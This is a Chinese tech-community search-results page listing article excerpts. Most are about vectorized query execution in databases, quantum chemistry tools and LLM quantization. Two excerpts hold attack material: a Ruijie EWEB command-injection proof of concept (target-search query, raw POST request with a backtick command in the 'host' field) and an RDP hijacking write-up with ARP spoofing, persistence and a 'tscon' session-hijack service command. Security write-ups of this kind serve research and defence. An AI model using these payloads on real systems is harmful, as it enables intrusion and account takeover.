- 综合排序
- 最热优先
- 最新优先
- 来自专栏奇点大数据
话说量化（3）
这简直就像是驱使着世界上所有的分子向一个固定方向运动一样困难，这种假设也只能是打打嘴炮，根本不可能成立的。 这就是市场，供需决定价格。只要供需都充分，没有人能够轻易操纵它。
35310发布于 2018-09-14 - 来自专栏腾讯云数据库(TencentDB)
查询执行效率低下？向量化执行来帮你
以查询计划执行为例。 CPU的SIMD指令进行优化，从而造成查询执行效率低下的问题。 向量化执行就是解决上述问题的一种有效手段。 作为国内领先的数据库厂商，腾讯云数据库一直致力于推动国产数据库学术人才培养和技术创新生态建设发展。 在本期DB · 洞见直播中，我们邀请到了腾讯云数据库高级工程师胡翔，来为大家介绍向量化执行的最新技术创新、基本原理以及向量化引擎的相关实现。 专家介绍 胡翔 腾讯云数据库高级工程师 博士毕业于中国科学院软件研究所，加入华为高斯实验室工作多年，加入腾讯后主要负责TDSQL PG版数据库向量化执行引擎等相关特性的设计开发工作。
68620编辑于 2022-07-19 - 来自专栏利志分享
浅析Clickhouse的向量化执行
向量化执行就是这种方式的典型代表，这项寄存器硬件层面的特性，为上层应用程序的性能带来了指数级的提升。 向量化执行，可以简单地看作一项消除程序中循环的优化。这里用一个形象的例子比喻。 为了制作n杯果汁，非向量化执行的方式是用1台榨汁机重复循环制作n次，而向量化执行的方式是用n台榨汁机只执行1次。 为了实现向量化执行，需要利用CPU的SIMD指令。 后来至今的改进版本有SSE（Streaming SIMD Extensions）、AVX（Advanced Vector Extensions），以及AMD的3DNow!等。 ClickHouse的向量化执行机制主要依赖于SSE指令集，下面简要介绍之。 SSE指令集 SSE指令集是MMX的继任者，其第一版早在Pentium III时代就被引入了。 随着新指令的扩充，又有了SSE2、SSE3、SSSE3、SSE4（包含4.1和4.2）等新版本。
94320编辑于 2022-04-25 - 来自专栏大数据&分布式
Spark Gluten 向量化执行框架
Photon向量化执行引擎取代了已有的Spark执行模式（JVM & Codegen）。 Spark Driver处理查询请求的基本流程如下图所示，(1).基于Spark Catalyst框架进行SQL解析和逻辑计划优化，(2).基于SparkPlanner进行物理计划优化，(3).优化后的物理计划 Gluten实现向量化计算的主要变更如下所示，在QueryExecution执行前优化过程中，通过注入规则对物理计划进行扩展处理，转为Gluten物理计划，使用向量化执行模式替换已有的JVM + CodeGen 在Task执行阶段，基于Gluten RDD，通过JNI调用Native引擎(默认Velox)实现向量化执行。 (3). ApplyColumnarRulesAndInsertTransitions: 基于ColumnarRule扩展的列式转换规则，转换成支持并加速列式数据读写的SparkPlan。
1.5K54编辑于 2025-01-21 - 来自专栏量子化学
利用MOKIT从PySCF向其他量化程序传轨道
近期笔者和另一开发者wsr在MOKIT程序中加入了fchk(),py2molpro,py2molcas,py2qchem等模块，可用于从PySCF程序向其他量子化学程序传递分子轨道。 （为什么不用Gaussian算完了传轨道给其他程序：因为Gaussian是商业收费程序，有的课题组/机构没买） （3）自己基于PySCF开发新方法，无现有程序对应，但希望正确地传轨道至下一个量化程序进行后续计算 3. 注意Windows预编译版不支持本文功能，内含的是Gaussian与其他量化程序传轨道的小程序。
1.9K20编辑于 2022-12-07 - 来自专栏量子化学
利用MOKIT从ORCA向其他量化程序传轨道
本文介绍如何使用MOKIT从ORCA向其他量化程序传轨道，有以下可能的用途： （1）在ORCA中进行了RIJK或RIJCOSX加速的大体系HF/DFT计算，想传轨道给其他程序进行后续计算，或想产生fch （3）在ORCA中进行了CASSCF计算，想传CASSCF轨道给其他程序进行后续计算（例如MC-PDFT）。 defgrid3表示使用尽可能高的COSX格点。 若读者在计算中使用全电子基组，自然无此问题；若用了赝势，按上文操作产生其他量化程序的文件不会含赝势信息，即使轨道系数正确，SCF也会剧烈振荡。这里笔者推荐一种解决办法： Step 1. 获得含赝势的fch文件和ORCA相关文件 执行 fch2mkl ZnMe2.chk 随即产生ZnMe2.fch，ZnMe2_o.inp和ZnMe2_o.mkl文件，现在我们就有了一个含赝势信息的fch
1.6K20编辑于 2023-09-03 - 来自专栏PostgreSQL研究与原理解析
聊聊StarRocks向量化执行引擎-过滤操作
聊聊StarRocks向量化执行引擎-过滤操作 StarRocks是开源的新一代极速MPP数据库，采用全面向量化技术，充分利用CPU单核资源，将单核执行性能做到极致。 本文，我们聊聊过滤操作是如何利用SIMD指令进行向量化操作。 过滤操作的SIMD向量化函数是filter_range，我们以binary类型的列为例： BinaryColumnBase<T>::filter_range 执行过程如下图所示： 1、通过1 类型的f_data数组来表示是否满足过滤条件，1表示满足条件，0表示不满足 2、AVX2指令集环境下：通过_mm256_loadu_si256封装的指令函数加载256位长度值到寄存器，也就是32字节值f 3、 比如： 11100000：有5个0 2）mask右移6位，即11，值3。其实就是跳过不满足的行 3）_offsets[i]数组表示第i个值的偏移。
1.6K40编辑于 2023-05-25 - 来自专栏PostgreSQL研究与原理解析
openGauss-向量化执行引擎-VecUnique算子
openGauss-向量化执行引擎系列-VecUnique算子 openGauss实现了向量化执行引擎，达到算子级别的并行。也就是说在执行器火山模型基础上，一次处理一批数据，而不是一次一个元组。 前期我们介绍了PgSQL Unique算子的实现机制，本文接着介绍openGauss是如何实现Unique算子向量化的。 简单来说，openGauss的VecUnique算子更多的是为了实现执行器整体性的向量化，减少算子之间因为向量化和非向量化算子之间的兼容而进行的VecToRow和RowToVec算子进行的行与向量之间的转换而完成的 2+1024，存储GUCell结构，即唯一值及其NULL标签 3）cap：即Encap结构，封装VectorBatch、cols和colIdx，减少传递参数个数 4）idx：container[]数组中存储的唯一值个数 BuildFunc 1）针对子节点取的VectorBatch batch，对每一行进行处理 2）第一轮batch第一行取出，作为唯一值存储到container[i],i=0; 3）后续的值和container
60840编辑于 2023-11-05 - 来自专栏PostgreSQL研究与原理解析
聊聊ClickHouse向量化执行引擎-过滤操作
他的大小是data数组大小，里面存放布尔值，标记data数组里面哪些数据满足过滤条件，应该筛选出来 3、最终生成一个新的数组res，根据filter数组，对data数组进行筛选，满足条件的拷贝到res数组中 4、上面代码耗时因素在于循环次数非常多，等于data数组的大小 5、如果可以降低循环次数，同时保证单次循环耗时变化不大，总体执行效率更高。 其实分为3部分，AVX512VBMI2指令集、默认的操作和尾部数据处理。其中尾部数据处理是指处理数据不够64个时，剩余的部分处理方式，这种方式无法使用SIMD，沿用标量处理方式。 先看下默认操作方式：doFilterAligned即：模板函数 这部分其实是对有一部分值满足条件场景的优化，主要有3个方面： 1）前导0个数，即data数组data[0]--data[i]都满足条件 ，需要拷贝到结果中 2）后导0个数，即data数组data[i]--data[63]都满足条件，需要拷贝到结果中 3）其他场景，比如0011 1100的场景，即两边都有不满足条件的，那就需要特殊处理了：
1.5K50编辑于 2023-05-25 - 来自专栏PostgreSQL研究与原理解析
聊聊Doris向量化执行引擎-过滤操作
聊聊Doris向量化执行引擎-过滤操作 Doris是开源的新一代极速MPP数据库，和StarRocks同源，采用全面向量化技术，充分利用CPU单核资源，将单核执行性能做到极致。 本文，我们聊聊过滤操作是如何利用SIMD指令进行向量化操作。 执行过程如下图所示： 1、通过1个字节bool类型的ret_flags数组来表示是否满足过滤条件，1表示满足条件，0表示不满足 2、AVX2指令集环境下：通过_mm256_loadu_si256封装的指令函数加载 256位长度值到寄存器，也就是32字节值f 3、_mm256_setzero_si256生成256位的0值all0 4、_mm256_cmpgt_epi8函数将f和all0每个字节进行并行比较，也就是32 = mask & (mask - 1)跳过不满足的行，StarRocks实现方式：mask右移6位，即11，值3。
1.3K40编辑于 2023-05-25 - 来自专栏漫谈测试
如何量化战略成效的执行情况
量化战略成效的执行，就是将测试团队的日常工作与公司/部门的宏观战略（如加快上市时间、提升客户满意度、降低运营成本、增强品牌声誉）联系起来，并用数据来证明这种联系的强度和效果。 量化，就是从测试战略中分解出可衡量的关键结果。 3. 成本维度（彰显管理的精细化）将质量成本（Cost of Quality）量化，向管理层展示投资回报。 选择2-3个最能体现当前战略重点的指标（如缺陷逃逸率和发布阻滞率）开始，逐步完善。 作为测试管理者，量化战略成效的本质是搭建一座桥梁，将技术性的测试活动转化为商业语言，向组织证明：我们在正确地做事（效率）： 通过效能指标体现。
34410编辑于 2025-09-12 - 来自专栏Spark学习技巧
一文了解 ClickHouse 的向量化执行
它实现了单机多核并行、分布式计算、向量化执行与SIMD指令、代码生成等多种重要技术。 向量化执行与SIMD ClickHouse不仅将数据按列存储，而且按列进行计算。传统OLTP数据库通常采用按行计算，原因是事务处理中以点查为主，SQL计算量小，实现这些技术的收益不够明显。 向量执行引擎，通常能够带来数倍的性能提升。 What IS SIMD ? SSE3增加了13条新的指令。 参考：https://www.cnblogs.com/xidian-wws/p/11023762.html C++使用SIMD编程的3种方法 SIMD指令集的使用，有如下三种方式： •编译器优化 即使用
7.2K31发布于 2021-07-02 - 来自专栏PostgreSQL研究与原理解析
openGauss-向量化执行引擎-索引扫描CStoreIndexScan
openGauss-向量化执行引擎-索引扫描CStoreIndexScan openGauss实现了向量化执行引擎，达到算子级别的并行。 也就是说在执行器火山模型基础上，一次处理一批数据，而不是一次一个元组。这样可以充分利用SIMD指令进行优化，达到指令级别并行。 1）Meta page 用来保存当前BTree 的元数据，也是索引page的第0页 2）Inner Node(page) 内部节点，其index-tuple 中 仅保存key 以及指向子节点的指针 3） 2、向量化索引扫描算子 openGauss通过CStoreIndexScan算子进行向量化索引扫描。 向量化索引扫描的优势：兼容向量化引擎其他算子，以达到全算子向量化，减少VecToRow和RowToVec的互相转换；同时减少底层算子函数的调用；因为增加了排序，可如同bitmap扫描一样减少heap页的随机访问
76830编辑于 2023-11-05 - 来自专栏量化投资与机器学习
3·15特刊：打假量化圈
量化投资与机器学习微信公众号，是业内垂直于量化投资、对冲基金、Fintech、人工智能、大数据等领域的主流自媒体。 今天是3月15日，公众号为全网Quant带来一期特别策划内容——量化圈的那些割韭菜的人和事。 希望大家以后避免踩雷！ 『假』 大师 这一趴真的不想给很多人蹭热度！ 总结下来就是：太多了！ 但是这几年竞争激烈，市场趋于有效，很多垃圾策略已经没有任何价值，从思路到执行方面，连配置的价值都没有。 总结下来就是：割韭菜，各种low！ 『假』 培训 随着量化投资的普及，培训市场也是闻风而动，四面开花。朋友圈时不时的出现这样的分享及广告：9.9元Python量化入门到精通，9.9元人工智能量化培训，9.9元量化实战送100套策略。 入门； 3、借人工智能的幌子：讲一讲几个Python的机器学习工具包，就说自己是人工智能量化培训； 4、以数字币为标的：介绍一下个交易所的API接口，无意间给学员植入数字币量化致富的概念。
50520编辑于 2022-03-15 - 来自专栏PostgreSQL研究与原理解析
openGauss - 向量化执行引擎 - distinct分组聚合的实现
openGauss - 向量化执行引擎 - distinct分组聚合的实现 openGauss向量化执行引擎中分组聚合有两种实现方式：排序和hash。 其中普通group by就是每次查询生成一个分组的聚合；而grouping sets、cube或者rollup分组集就是每次查询生成不同级别或者多个维度的聚合，详见： 下面我们看下openGauss向量化执行引擎中对这些分组聚合如何实现 它的聚合走另外分支： 2、原理 1）通过CStoreScan算子从磁盘上加载一批数据到内存，并通过VecSort向量化算子进行排序 2）从排好序的数据中（要么都在内存，要么溢出到磁盘）拿一批数据batch 进行聚合操作 3）先将batch存储到m_batchSortIn中用于后续阶段的聚合：因为后续阶段也需要在有序的基础上进行分组聚合，所以m_batchSortIn用于后续阶段的排序 4）计算当前阶段的分组值
62610编辑于 2024-05-06 - 来自专栏漏洞复现
锐捷 EWEB auth 远程命令执行漏洞RCE（批量化）
1、fofa语句body="cgi-bin/luci" && body="#f47f3e"2、数据包POST /cgi-bin/luci/api/auth HTTP/1.1Host: XXXXXXXXXX.comContent-Type : application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML ) Version/12.0.3 Safari/605.1.15{"method":"checkNet","params":{"host":"`echo c149136B>666666.txt`"}}3、 name: auth接口存在RCE漏洞 author: someone severity: critical description: auth接口存在RCE漏洞，恶意攻击者可能会利用该漏洞执行恶意命令 Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)
3.4K10编辑于 2024-03-10 - 来自专栏FreeBuf
内网漫游：通过RDP劫持向远程系统执行任意代码
成功执行后，该工具将在后台执行一系列的步骤，以确保攻击的成功实施。以下是执行的相关流程： 欺骗ARP回复 启用IPv4流量转发，将流量从受害主机重定向到攻击者机器，然后再转发到目标RDP服务器。 步骤1-3将在受害者身份验证之前执行。尝试通过RDP向目标服务器进行身份验证的用户将会收到以下消息： ? 当用户建立连接时，其凭据将以明文形式显示给攻击者。 ? 批处理脚本将会在工作站每次启动时执行，以实现后门持久化。 ? 当通过RDP向受感染主机验证的提权用户重启他的机器时，代码将被执行。 ? 创建一个使用系统级权限执行tscon的服务，将劫持ID为3的会话。 sc create sesshijack binpath= "cmd.exe /k tscon 3 /dest:rdp-tcp#0" net start sesshijack ?
1.6K20发布于 2018-07-30 - 来自专栏Linyb极客之路
向nexus3私服上传jar包
一般向私服上传jar包有三种方法: 直接浏览器 cmd模式 IDE集成环境 准备环境 1.创建3rd_part库 使用默认用户admin/admin123登陆 点击左侧的repository\repositories 后,在右侧点击create repository 然后选择maven2(hosted),填写如下 跳到首页后选择maven-public 将3rd_part移到member中,即将3rd_part 交由maven-public管理，点击save 至此,创建仓库完成 2.创建3rd_part管理用户 创建用户: 用户名/密码-dev/dev123 直接浏览器 使用dev/dev123登陆，点击 / -DrepositoryId=deployment --settings E:\installed\mavenRepository\settings-private.xml 其中-Durl即3rd_part maven-snapshots/com/sijing/yjyuan/nexus-upload/1.0-SNAPSHOT/nexus-upload-1.0-20180303.072618-1.jar (3
4.8K20编辑于 2022-03-10 - 来自专栏python3
python向打印机发送数据（3）--
lines2 = f.read() f.close() lpt_data_printer("lines",lines2) elif count%6==3: f = open(r"D:\test\FP00003.txt") lines3 = f.read() f.close() lpt_data_printer ("lines",lines3) elif count%6==4: f = open(r"D:\test\FP00004.txt") lines4 = f.read
1.6K20发布于 2020-01-08 - 来自专栏机器之心
基于重排序的新量化方法RPTQ：实现大型语言模型的 3 比特量化
该工作首次将 LLM 模型的激活量化推向 3 比特。激活值的 3 比特量化同时也能与权重的 3 比特量化共同使用，大幅度降低了大型欲言模型的开销。 最近，GPTQ 使用 PTQ 成功地将 LLMs 的权重量化为 4 bit 或 3 bit。然而，对 LLMs 中的激活进行量化仍然是一项具有挑战性的任务。 图 3：一重排权重和激活的量化 Transformer 层的推断过程失意图。重排索引用符号 R1 到 R5 表示。 此外，作者还开发了一种新的量化方案，W4A4KV、W4A3KV 和 W3A3KV，只对主要内存的消耗 —— 键缓存和值缓存（Key/Value Cache）进行量化。 LLM 的内存开销来自三个方面：首先，设备内存中权重的存储，可以通过量化来显著减少。其次，在网络执行期间生成的临时激活需要分配设备内存。
93220编辑于 2023-04-11
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号